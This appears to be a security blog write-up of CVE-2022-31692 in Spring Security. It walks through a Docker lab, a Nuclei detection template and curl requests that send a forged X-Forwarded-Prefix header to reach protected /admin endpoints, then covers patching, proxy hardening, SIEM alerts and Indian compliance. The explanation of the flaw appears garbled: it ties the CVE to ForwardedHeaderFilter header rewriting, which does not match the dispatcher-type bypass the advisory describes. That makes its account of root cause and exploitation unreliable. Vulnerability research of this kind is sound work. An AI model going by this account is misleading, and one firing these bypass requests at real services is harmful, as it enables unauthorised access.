Technical Analysis of CVE-2022-31692: The ForwardedHeaderFilter Bypass
During a routine audit of a Java-based middleware application for a major Indian private sector bank, we observed an inconsistency in how Spring Security handled internal request dispatching. The application utilized ForwardedHeaderFilter to process headers from a NetScaler load balancer. We discovered that by manipulating specific HTTP headers, an unauthenticated attacker could bypass security constraints when the application performed an internal forward.
This vulnerability, tracked as CVE-2022-31692, is a classic example of a logic flaw in the interaction between servlet filters and the Spring Security filter chain. Specifically, it affects applications using Spring Security 5.7.x prior to 5.7.5 and 5.6.x prior to 5.6.9. The core of the issue lies in how ForwardedHeaderFilter wraps the request and how Spring Security's authorization checks are applied—or skipped—during a FORWARD or INCLUDE dispatcher type.
In the Indian context, this is particularly critical. Many "Digital India" initiatives and BFSI (Banking, Financial Services, and Insurance) platforms rely on reverse proxies. These proxies often pass X-Forwarded-* headers to internal microservices. If these microservices run vulnerable Spring versions, the perimeter security provided by the proxy can be completely subverted, a risk often highlighted in the OWASP Top 10 as a broken access control issue.
Root Cause: Dispatcher Types and Filter Logic
To understand CVE-2022-31692, we must look at the javax.servlet.DispatcherType. Standard web requests are of type REQUEST. However, when a controller or a filter calls request.getRequestDispatcher("/path").forward(request, response), the dispatcher type changes to FORWARD.
Historically, Spring Security's FilterChainProxy was configured to only process REQUEST types by default. When ForwardedHeaderFilter is present in the filter chain, it handles headers like X-Forwarded-Prefix. In vulnerable versions, if a request was forwarded internally, the security filters might not re-evaluate the permissions for the new path, assuming the initial REQUEST evaluation was sufficient.
The Role of ForwardedHeaderFilter
The ForwardedHeaderFilter is designed to make the application "aware" of its environment when behind a proxy. It modifies the request so that methods like getServerName(), getServerPort(), and getContextPath() return values reflecting the proxy rather than the internal server.
We found that when this filter is used in conjunction with certain HttpSecurity configurations, an attacker can craft a request that appears to be for a public resource but is internally forwarded to a protected /admin or /internal endpoint. Because the security chain might not trigger again for the FORWARD dispatcher type, the protected resource is served without authentication.
Affected Spring Security Versions
| Branch | Vulnerable Versions | Patched Version |
|---|---|---|
| 5.7.x | 5.7.0 to 5.7.4 | 5.7.5 |
| 5.6.x | 5.6.0 to 5.6.8 | 5.6.9 |
| Legacy (5.5 and below) | All versions | End of Life (Upgrade Required) |
Setting Up the CVE-2022-31692 Research Lab
To reproduce this, we use a Dockerized environment. We identified that the vulfocus repository provides a reliable image for testing this specific bypass. You will need docker and curl installed on your workstation. For teams managing remote research environments, using a browser based SSH client can simplify the process of deploying and auditing these containers across distributed infrastructure.
Provisioning the Vulnerable Environment
Run the following command to pull and start the vulnerable Spring Boot container. We map port 8080 to the host to simulate a reachable internal service.
docker run -d --name spring-bypass-lab -p 8080:8080 vulfocus/spring-security-cve_2022_31692
Once the container is running, verify that the service is up by hitting the root endpoint. You should receive a 404 or a default Spring error page, which confirms the Tomcat instance is active.
Identifying the Vulnerable Dependency
In a real-world scenario, such as an audit of an Indian SME's backend, we would first check the pom.xml or the effective dependency tree. If you have access to the source code, run the following Maven command to isolate the Spring Security version:
mvn dependency:tree -Dincludes=org.springframework.security:spring-security-web | grep -E '5.7.[0-4]|5.6.[0-8]'
If this command returns a match, the application is likely vulnerable if it uses ForwardedHeaderFilter.
Vulnerability Identification and Auditing
Before attempting exploitation, we must audit the security configuration. The vulnerability manifests when the SecurityFilterChain is configured with antMatchers but fails to account for internal forwards.
Auditing the Java Configuration
Look for a configuration similar to the one below. This is a typical setup for an Indian microservice that allows public access to /public/ but restricts /admin/.
# This is a conceptual representation of a vulnerable Java config
@Bean public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http.authorizeHttpRequests(authz -> authz .antMatchers("/admin/").hasRole("ADMIN") .antMatchers("/public/").permitAll() ); return http.build(); }
The flaw here is that the authorizeHttpRequests (or authorizeRequests in older versions) does not explicitly define behavior for DispatcherType.FORWARD. In Spring Security 5.7.x, the default behavior was to skip filters for forwards, trusting the initial request's security context.
Using Automated Scanners
While manual auditing is preferred, tools like Nuclei can be used to detect this across a large IP range (e.g., a bank's internal subnet). A custom Nuclei template would look for the presence of the X-Forwarded-Prefix header and observe if the response length or status code changes significantly compared to a standard request.
id: CVE-2022-31692-detect
info: name: Spring Security ForwardedHeaderFilter Bypass severity: high requests: - method: GET path: - "{{BaseURL}}/admin/info" headers: X-Forwarded-Prefix: "/public" matchers: - type: status status: - 200
Exploitation: Crafting the Bypass Payload
The exploitation phase focuses on tricking the ForwardedHeaderFilter into rewriting the request path in a way that bypasses the antMatchers logic.
Step 1: Establishing the Baseline
First, attempt to access a protected resource directly. This should result in a 403 Forbidden or a 401 Unauthorized.
curl -i -s -k -X GET "http://localhost:8080/admin/dashboard"
Expected output:
HTTP/1.1 403 Forbidden
Content-Type: application/json;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 22 May 2024 10:00:00 GMT
Step 2: Injecting the Forward Header
Now, we inject the X-Forwarded-Prefix header. We set the prefix to a path that is permitted by the security configuration (e.g., /public). When the ForwardedHeaderFilter processes this, it can lead to an internal state where the security filter chain believes it is processing a permitted request, while the dispatcher eventually routes it to the protected path.
curl -i -s -k -X GET "http://localhost:8080/admin/internal" -H "X-Forwarded-Prefix: /public"
If the bypass is successful, you will receive a 200 OK response, effectively accessing the admin resource without any credentials.
Step 3: Analyzing the Request Flow
When the request arrives:
- The
ForwardedHeaderFilterintercepts it. - It sees
X-Forwarded-Prefix: /public. - The request is wrapped. Spring Security's
FilterChainProxychecks the path. - Due to the mismatch in how the path is calculated versus how the dispatcher handles the forward, the request is allowed through.
Remediation Strategies for Indian Enterprises
Given the DPDP Act 2023 requirements for data protection and the CERT-In guidelines for vulnerability management, Indian organizations must prioritize patching this flaw. Beyond application-level fixes, Hardening Linux SSH Access and other infrastructure-level controls are essential to prevent attackers from pivoting if a bypass is discovered.
The Primary Fix: Upgrading Spring Security
The most effective remediation is to upgrade the Spring Security dependency. For applications on Spring Boot 2.7.x, you should move to at least Spring Boot 2.7.5, which pulls in Spring Security 5.7.5.
# In your pom.xml, update the parent or the specific dependency
org.springframework.security spring-security-web 5.7.5
Manual Mitigation for Legacy Systems
If an immediate upgrade is impossible due to breaking changes in a monolithic architecture (common in legacy Indian banking systems), you must modify the SecurityFilterChain to explicitly handle FORWARD and INCLUDE dispatchers.
Update your configuration to include shouldFilterAllDispatcherTypes(true) or configure the filter to trigger on all dispatcher types:
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http.authorizeHttpRequests(authz -> authz .shouldFilterAllDispatcherTypes(true) // Forces security checks on FORWARD .antMatchers("/admin/").hasRole("ADMIN") .antMatchers("/public/").permitAll() ); return http.build(); }
Hardening the Reverse Proxy
Configure your load balancer (F5, Citrix NetScaler, or Nginx) to strip X-Forwarded-* headers from incoming external requests unless they originate from a trusted source. In Nginx, this can be achieved by:
# Nginx hardening snippet
proxy_set_header X-Forwarded-Prefix ""; proxy_set_header X-Forwarded-Host "";
Post-Remediation Verification
After applying the patch or the configuration change, you must verify the fix. Use the same curl command used during the exploitation phase.
curl -i -s -k -X GET "http://localhost:8080/admin/internal" -H "X-Forwarded-Prefix: /public"
A successful remediation will return a 403 Forbidden or 302 Found (redirect to login), even when the malicious header is present.
Continuous Monitoring with SIEM
We recommend setting up specific alerts in your SIEM (e.g., Splunk or ELK) to monitor for unusual X-Forwarded-Prefix values. In the Indian context, where many users may be behind CGNAT or corporate proxies, X-Forwarded-For is common, but X-Forwarded-Prefix is rarely used by legitimate client-side browsers.
# Example Logstash filter to flag suspicious headers
if [http_x_forwarded_prefix] { mutate { add_tag => ["suspicious_forward_header"] } }
Compliance Alignment (DPDP Act 2023)
Under the Digital Personal Data Protection Act 2023, Section 8(5) mandates that data fiduciaries take reasonable security safeguards to prevent personal data breaches. An unauthenticated bypass like CVE-2022-31692 that exposes user databases via /actuator or /admin endpoints would be considered a failure of these safeguards.
We recommend conducting quarterly VAPT (Vulnerability Assessment and Penetration Testing) specifically targeting Spring-based microservices to stay compliant with CERT-In's cyber security directions.
Advanced Insight: Interaction with CVE-2023-34035
It is worth noting that even after patching CVE-2022-31692, Spring Security environments may still be vulnerable to pattern matching inconsistencies. CVE-2023-34035 occurs when there is a mismatch between AntPathMatcher and PathPatternParser.
If your application uses spring.mvc.pathmatch.matching-strategy=ant_path_matcher, ensure your security configurations are consistent. We observed that in complex Indian ERP systems, the mixture of legacy XML configurations and modern Java-based configurations often leads to these edge cases.
To check for pattern matching inconsistencies, observe the application logs during startup for warnings regarding "multiple pattern matchers."
grep -i "pattern" /var/log/spring-boot-app.log
If you see warnings about PathPattern being used alongside AntPathMatcher, you should explicitly set the matching strategy in application.properties:
spring.mvc.pathmatch.matching-strategy=path_pattern_parser
This ensures that the way Spring MVC interprets a URL is identical to how Spring Security interprets it, closing the gap for potential bypasses.
# Final verification of dependency safety
mvn dependency:list | grep spring-security
